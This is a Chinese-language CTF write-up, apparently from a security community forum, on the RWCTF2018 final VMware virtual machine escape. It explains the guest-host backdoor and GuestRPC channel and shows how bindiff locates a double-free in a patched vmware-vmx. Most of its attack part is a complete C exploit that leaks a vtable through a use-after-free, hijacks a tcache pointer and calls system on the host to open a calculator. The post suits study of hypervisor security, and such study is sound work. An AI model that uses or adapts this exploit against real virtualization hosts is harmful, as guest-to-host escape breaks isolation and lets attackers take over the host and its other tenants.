虚拟机逃逸(一)0x01 概述虚拟化技术逐渐的开源和云计算的需要,使得虚拟化迅速发展,从KVM,XEN到qemu,docker…等,。服务和软件定义网络的理念模糊了开发和运维的界限,也把更多的安全…
0x01 概述
虚拟化技术逐渐的开源和云计算的需要,使得虚拟化迅速发展,从KVM,XEN到qemu,docker...等,。
服务和软件定义网络的理念模糊了开发和运维的界限,也把更多的安全问题带入到虚拟化技术中。更多基础设施即服务(Iaas)管理平台的问题以及云供应商的不可控都给虚拟化技术的安全应用带来阻碍,而真正的虚拟化安全要从虚拟化技术本身谈起。
早期的虚拟化提出的是,宿主机和虚拟机之间的隔离,但是随着技术的发展,两机之间的通信让这种隔离变得模糊化,无论是FTP还是共享机制,都给安全带来的较大的挑战,本文针对虚拟机逃逸漏洞进行一个入门级别的分析。
0x02 如何逃逸
首先,需要明确提权的模型,虚拟机逃逸的情况繁多,大致的模型和提权方式都类似。(后续的一些示例表示,非内核态也可以逃逸)
- 虚拟机操作系统发送敏感请求,使操作系统陷入内核态
- 某些特权指令会进入ring0以下的状态,即交给
Hypervisor
处理 - 利用Hypervisor的脆弱性漏洞使得Hypervisor执行完特权指令后不产生指令状态的返回,使得执行完指令后依然停留在内核态
- 实现了提权后,可以渗透到Hypervisor和虚拟机的其他区域,破坏虚拟化的隔离机制,完成逃逸操作。
了解基本的流程之后,就是理解。
以上是一个虚拟化的基本模型,这里使用的是一个全虚拟化的模型,VMM即hypervisor,提权利用的是特殊指令执行时候会陷入root mode。
这类指令的存在让提权和逃逸变得可行。总结以上流程,写出一个逃逸需要的基本条件。
- 有漏洞的内核,即有可以执行使得陷入hypervisor的指令
- 有一次匹配的逃逸,理解为可以使得宿主机弹出一个计算器
第二点的利用,在不同的虚拟化技术中,不一样,下面以VM ware的逃逸,做一个简单的例子。
0x03 RWCTF2018 final VMescape
这题是RWCTF2018 final,做一个入手的题目非常的合适。
前置知识
经常使用vmware虚拟机的人一定会熟悉其拖拽功能,即Guest和host之间的文件传递以及复制之类的操作,都是基于拖拽实现的,拖拽的背后是Guest和host之间的通信机制。而Vm类型的逃逸中,利用的就是该通信机制,这类机制被设计是现在了vmtools当中,高版本的vmware,vmtools消失,直接被自带安装。
backdoor机制
vmtools中有一个叫做backdoor的接口,该接口被用来实现通信。官方文档,github中的开源文档也有open-vmtools.
void
Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
uint64 dummy;
__asm__ __volatile__(
#ifdef __APPLE__
/*
* Save %rbx on the stack because the Mac OS GCC doesn't want us to
* clobber it - it erroneously thinks %rbx is the PIC register.
* (Radar bug 7304232)
*/
"pushq %%rbx" "\n\t"
#endif
"pushq %%rax" "\n\t"
"movq 40(%%rax), %%rdi" "\n\t"
"movq 32(%%rax), %%rsi" "\n\t"
"movq 24(%%rax), %%rdx" "\n\t"
"movq 16(%%rax), %%rcx" "\n\t"
"movq 8(%%rax), %%rbx" "\n\t"
"movq (%%rax), %%rax" "\n\t"
"inl %%dx, %%eax" "\n\t" /* NB: There is no inq instruction */
"xchgq %%rax, (%%rsp)" "\n\t"
"movq %%rdi, 40(%%rax)" "\n\t"
"movq %%rsi, 32(%%rax)" "\n\t"
"movq %%rdx, 24(%%rax)" "\n\t"
"movq %%rcx, 16(%%rax)" "\n\t"
"movq %%rbx, 8(%%rax)" "\n\t"
"popq (%%rax)" "\n\t"
#ifdef __APPLE__
"popq %%rbx""\n\t"
#endif
其中有一条特权指令,in
,这条指令在正常的操作系统执行会报错,但是在vm中的guest机器执行这条指令,这个异常会被 vmtools捕获,然后传递给vmware-vmx.exe
进行通信操作。
重点在于,backdoor普通用户也可以执行,所以,guest中,执行相应的代码,让操作系统陷入hypervisor层,然后再利用backdoor和host进行通信,触发此bug。
通信所需要的函数,再open-vmtools中也有实现。Message_Send
和Message_Recv
。git链接。
在某一篇文档中,给出了该操作的基本使用.
#include <stdio.h>
unsigned __declspec(naked) GetMousePos()
{
__asm
{
mov eax, 564D5868h
mov ecx, 4
mov edx, 5658h
in eax, dx
ret
}
}
void main()
{
unsigned mousepos = GetMousePos();
printf( "鼠标光标位置:x=%d,y=%d\n" , mousepos >> 16, mousepos & 0xFFFF);
}
If this program is executed on a real machine, the in instruction will cause a "privileged instruction" exception, as user-mode code runs in Ring 3. However, when this program is executed on the virtual machine, it will print the correct mouse cursor position.
在真机上会报错,而在虚拟机中,将获得鼠标位置。
GuestRPC | Drag and Drop RPCI
这是在backdoor基础上实现的更为灵活的通信方式。单个 GuestRPC 调用由一系列请求组成:
- 打开 GuestRPC 通道
- 发送命令长度
- 发送命令数据
- 接收回复大小
- 接收回复数据
- 发出接收结束信号
- 关闭频道
具体的函数实现后面再去分析,这里实际上是实现了一套不那么底层的通信机制。依靠这个机制,guest和host之间可以实现许多有意思的操作,例如:dnd(Drag n Drop)、cp(Copy Paste)操作、发送或获取信息等。
再/lib/include/rpcout.h中定义了相关的一些函数,这些函数用来构建和摧毁rpc通道。
最后的调用追踪如下。
Rpcout_start->Message_OpenAllocated->Backdoor;
RpcOut_send->Message_Send & Message_Receive;
这几处函数调用对backdoor的操作都是基于一个结构体。Backdoor_proto
在backdoor_types.h
中对其有定义。
#define DECLARE_REG64_STRUCT \
DECLARE_REG32_STRUCT; \
struct { \
uint32 low; \
uint32 high; \
} words; \
uint64 quad
实际上就是对相应的寄存器做一个设置。
除了以上的函数,vmx还提供了一种面向对象的方法实现以上功能,VMWareRPCChannel类,该类可以在内核和用户模式下使用。
By using VMWareRPCChannel class it is possible to execute arbitrary GuestRPC requests, that VMWare supports. However, the question of adding our own request types is still open. Let's examine the VMWARE-VMX.EXE internals. When a GuestRPC is being issued by guest, code inside the VMWARE-VMX.EXE searches the so-called GuestRPC handler table for a handler corresponding the the issued request. A GuestRPC handler entry format can be defined by the following structure:
具体的实现这里不赘述,此外长亭的师傅也实现了一套Rpc的通信机制,在其知乎文章有分析。
通过这个RPCI可以直接向RPC,以往版本的漏洞分析中已经有该DnD漏洞的存在。
memcpy没有size的判断,导致第二个包可以直接改totalsize为一个大值,这样导致了memcpy的溢出。发送Dnd的代码在dndCPTransportGuestRpc.hpp中,同样可以在open-vmtools里面找到源码。有人总结出了发送路径。
rpcv3util::SendMsg->DnDCPTransportGuestRpc::SendPacket->RpcChannel_Send->Message_Send->backdoor
漏洞分析
静态分析
题目给出了
rwctf.ovf、rwctf-disk1.vmdk、rwctf.mf、vmware-vmx-patched、VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle和vmware-vmx
使用vof vmdk mf可以创建一个题目相同环境的虚拟机,patched即为题目环境的vmx,而bundle安装包中的是给出的vmware-vmx。
使用bindiff比较patched和原版的不同可以快速定位漏洞位置,bindiff官网在外网,可以在52破解下载。
使用ida的bindiff插件,然后把diff结果导入bindiff软件即可。
查看出来的不同有1处,
双击查看函数内容
可以看到patched地方加入了大部分的nop指令,回到ida仔细分析该流程处nop掉的东西是什么。
仔细比较发现有一处and被修改,还有一处call之前的一个mov指令被nop掉了,F5回去查看被改掉的位置。
少了一处被置为0的操作,还有一处and操作修改,查看整个函数,大部分都是GuestMsg: Channel
之类的东西,以及上面的switch操作,此外报错都是一些协议错误以及格式之类的东西,猜测这里是RPC指令的处理函数。
然后我就一头扎进了open-vm的源码,,。。
看了非常久,大概得出一个结构体的模型
其中大部分的操作还看不太懂,然后突然想起来查看GuestRPC 的操作流程。
- 打开 GuestRPC 通道
- 发送命令长度
- 发送命令数据
- 接收回复大小
- 接收回复数据
- 发出接收结束信号
- 关闭频道
发现可以和这里的switch对应起来,可以更加清除的理解其内容。
这里去掉了置0操作,没有将第一处buf置空,第二处把标志改为了21,这里可能是漏洞形成的重点。
根据正常流程,目标处调用的是这样一个函数。
void __fastcall close_backdoor(__int64 a1, unsigned __int16 a2, char a3)
{
void *v4; // rdi
v4 = *(void **)(a1 + 8);
if ( (a3 & 0x20) != 0 )
{
free(v4);
}
else if ( (a3 & 0x10) == 0 )
{
sub_176D90(a1, 0LL);
if ( *(_BYTE *)(a1 + 32) )
{
sub_55A0E0("GuestRpc: Closing RPCI backdoor channel %u after send completion\n", a2);
sub_189FE0(a2);
*(_BYTE *)(a1 + 32) = 0;
}
}
}
这里有一个if分支是free掉a1+8位置的buf,要求是a3 and 0x20!=0,这就刚好和patch的地方相符合,这里会导致一次free。
此处释放的缓冲区是偏移为8的地方的缓冲区,该缓冲区对应于内部用于存储传递回用户的回复数据的缓冲区。
同时在switch=6的时候,此处会再次释放,这就导致了DF存在,而在这个DF的中间,重复使用该区域,可以利用为UAF。
下面就有了基本的思路
- leak
- 更改tcache的fd
- 获取
rip
控制rdi
调用system("/usr/bin/xcalc &")
在此guestrpc的区间内,对堆的操作非常少,所以该漏洞利用也是比较稳固的。
attack
leak操作利用的是比较老套的uaf利用
- 分配三个通道 [A]、[B] 和 [C]
- 将命令发送
info-set
到通道 [A] - 打开通道 [B] 并发出 a
info-get
以检索我们刚刚设置的数据 - 在通道 [B] 上发出回复长度和回复读取命令
- 在通道 [B] 上调用错误的 finalize 命令,释放底层的回复缓冲区
- 在通道 [C] 上调用
info-get
并接收回复长度,它在我们刚刚分配的同一地址分配一个缓冲区 - 关闭通道 [B],再次释放缓冲区
- 阅读频道[C]上的回复以泄露我们的数据
但是在channel C上形成的uaf,却并不能做到在tcache中泄露想要的glibc地址,所以在此基础上还需要往C中填入一些可以利用的地址。
这时候考虑到2017年的一个cve,通过dnd_version造成vtable的leak。
分析dnd_version如下。ida中搜索vmx.capability.dnd_version
,找到对应的bind函数。
其他的RPC命令类似,在发送“vmx.capability.dnd_version”命令的时候,对应的处理函数中如果发现当前版本和设置的版本不一致,就会调用函数创建新的 object,把原来的版本的object销毁。
__int64 __fastcall sub_1116D0(__int64 a1, __int64 a2, __int64 a3, int a4, __int64 reply, __int64 reply_len)
{
int v8; // er12
__int64 v9; // rax
__int64 v10; // rsi
int v12; // [rsp+8h] [rbp-30h] BYREF
int v13[11]; // [rsp+Ch] [rbp-2Ch] BYREF
if ( !a4 )
return set_reply(reply, reply_len, "1 argument expected");
v12 = 0;
if ( !(unsigned __int8)sub_5611D0(v13, &v12, a3, " ") )
return set_reply(reply, reply_len, "Non-integer argument");
v8 = v13[0];
if ( v13[0] <= 1 )
return set_reply(reply, reply_len, "Invalid protocol version.");
sub_171460(*(_QWORD *)(theCurrentVM + 104LL));
v9 = sub_4723A0(*(_QWORD *)(theCurrentVM + 104LL));
if ( v8 == *(_DWORD *)(v9 + 360) )
{
v10 = 0LL;
}
else
{
*(_DWORD *)(v9 + 360) = v8;
v10 = 1LL;
}
sub_472380(v9, v10);
sub_1711E0(*(_QWORD *)(theCurrentVM + 104LL));
if ( !(unsigned __int8)sub_12FA20((unsigned int)v13[0]) )
return set_reply(reply, reply_len, "Failed to set VMDB");
if ( v13[0] > 2 )
Tools_SetGuestDnDCapable("1");
return set_reply(reply, reply_len, "");
}
传入一个参数代表版本,如果不符合则销毁之前的结构体,创建一个新的结构体。更新在vmx.capability.dnd_version
也有对应实现。
追踪函数
那么可以猜到新的结构体大小总是为0xa8。可以通过该方法,控制buf的大小为0xa8,销毁原来的object获得新的object的时候,把channel B的UAF chunk申请出来,然后利用channel C leak libc基址。
有了leak,利用起来就简单了,直接改fd,然后劫持到bss段,改掉某一个函数指针为system即可。
新的leak方式如下
- 开启channel A和channel B
- A的输出缓冲区为bufA,A利用漏洞free bufA
- 然后B给guest发送out put,这时候控制B的buf大小和A一样,此时free的A再次被malloc出来
- 释放A,同时buf A被再次释放,此时调用
vmx.capability.dnd_version
,虚表在此时被写入bufB - leak出process base 然后根据偏移即可计算出system 以及一些函数指针的地址。
最后以相同的方式,劫持fd即可,下面的exp是长亭师傅的,根据通信原理实现了一套通信机制,具体内容看参考,不赘述。
exp:
#include <stdio.h>
#include <stdint.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
);
}
void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
);
}
void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
);
}
void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
:"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
);
}
struct channel{
int cookie1;
int cookie2;
int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
struct channel tmp;
int res,len,i;
char *data;
channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);
channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to recv finish\n");
}
channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
if(!res){
printf("fail to close channel\n");
return;
}
}
void leak(){
struct channel chan[10];
int res=0;
int len,i;
char pay[8192];
char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *data;
char *s2 = "info-get guestinfo.a";
char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *s4 = "tools.capability.dnd_version 4";
char *s5 = "vmx.capability.dnd_version";
//init data
run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
run_cmd(s4);
//first step
channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&res);
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i++){
channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
}
printf("recv data:%s\n",data);
//second step free the reply and let the other channel get it.
channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
if(!res){
printf("fail to send data\n");
return;
}
//free the output buffer
printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
getchar();
channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
if(!res){
printf("fail to recv finish1\n");
return;
}
//finished sending the command, should get the freed buffer
printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
getchar();
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
if(!res){
printf("fail to send data\n");
return;
}
//third step,free it again
//set status to be 4
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
//free the output buffer
printf("Free the buffer again...\n");
getchar();
channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
printf("Trying to reuse the buffer as a struct, which we can leak..\n");
getchar();
run_cmd(s5);
printf("Should be done.Check the buffer\n");
getchar();
//Now the output buffer of chan[1] is used as a struct, which contains many addresses
channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res);
}
printf("recv data:\n");
for(i=0;i<len;i+=8){
printf("recv data:%lx\n",*(long long *)&data[i]);
}
text = (*(uint64_t *)data)-0xf818d0;
printf("Leak Success\n");
}
void exploit(){
//the exploit step is almost the same as the leak ones
struct channel chan[10];
int res=0;
int len,i;
char *data;
char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char *s2 = "info-get guestinfo.b";
char *s3 = "1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char *s4 = "gnome-calculator\x00";
uint64_t pay1 =text+0xFE95B8;
uint64_t pay2 =text+0xECFD0; //system
uint64_t pay3 =text+0xFE95C8;
char *pay4 = "gnome-calculator\x00";
run_cmd(s1);
channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&res);
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
printf("recv len:%d\n",len);
data = malloc(len+0x10);
memset(data,0,len+0x10);
for(i=0;i<len+0x10;i+=4){
channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
}
printf("recv data:%s\n",data);
channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res);
if(!res){
printf("fail to open channel!\n");
return;
}
channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res);
if(!res){
printf("fail to set len\n");
return;
}
printf("leak2 success\n");
channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
if(!res){
printf("fail to recv data len\n");
return;
}
channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
if(!res){
printf("fail to recv finish2\n");
return;
}
channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res);
channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res);
if(!res){
printf("fail to set len\n");
return;
}
channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res);
channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
run_cmd(s4);
if(!res){
printf("fail to set len\n");
return;
}
}
void main(){
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
setvbuf(stdin,0,2,0);
leak();
printf("text base :%p",text);
exploit();
}
其中修改了长亭师傅的一个魔数,目的是达到no enhanced。
其中构造的exploit如下。
开启四个channel
然后free(0)
set之后再次free(0)
此时往channel 1 可以写入bss段的地址。
此时fd被链接进去之后可以直接malloc出来然后改写即可。
此处覆盖的位置为bss段的一处调用
可以看出来这块的虚表调用位置在FE95B0,+8即为FE95B8,所以此处改为system然后第一个参数(FE95C0)改为,弹出计算器的指令即可。
调试
打开环境,ssh链接guest,然后sudo gdb ./vmx -q,使用ps -aux | grep vmx找到对应的进程,attach上去,在ssh端口运行exp即可(记得先打断点,我断在了漏洞函数free的地方,方便看chunk)
第一次free前
直接按了continue。。堆分配特别乱,于是重新来过。
断点找出漏洞函数。
这是bufA的地址。记住0x7f35000210f0(user开头区域)
经过UAF之后,这里把虚表写入bufB,
成功。
查看后发现确实是vtable。
基址就可以leak出来了。后面是基本的劫持fd操作,不调试了,直接看到弹出计算器。
0x04 参考
http://sysprogs.com/legacy/articles/kdvmware/guestrpc.shtml
https://github.com/vmware/open-vm-tools/tree/master/open-vm-tools/lib
https://sites.google.com/site/chitchatvmback/backdoor
https://zhuanlan.zhihu.com/p/27733895
https://nafod.net/blog/2019/12/21/station-escape-vmware-pwn.html
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1666
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!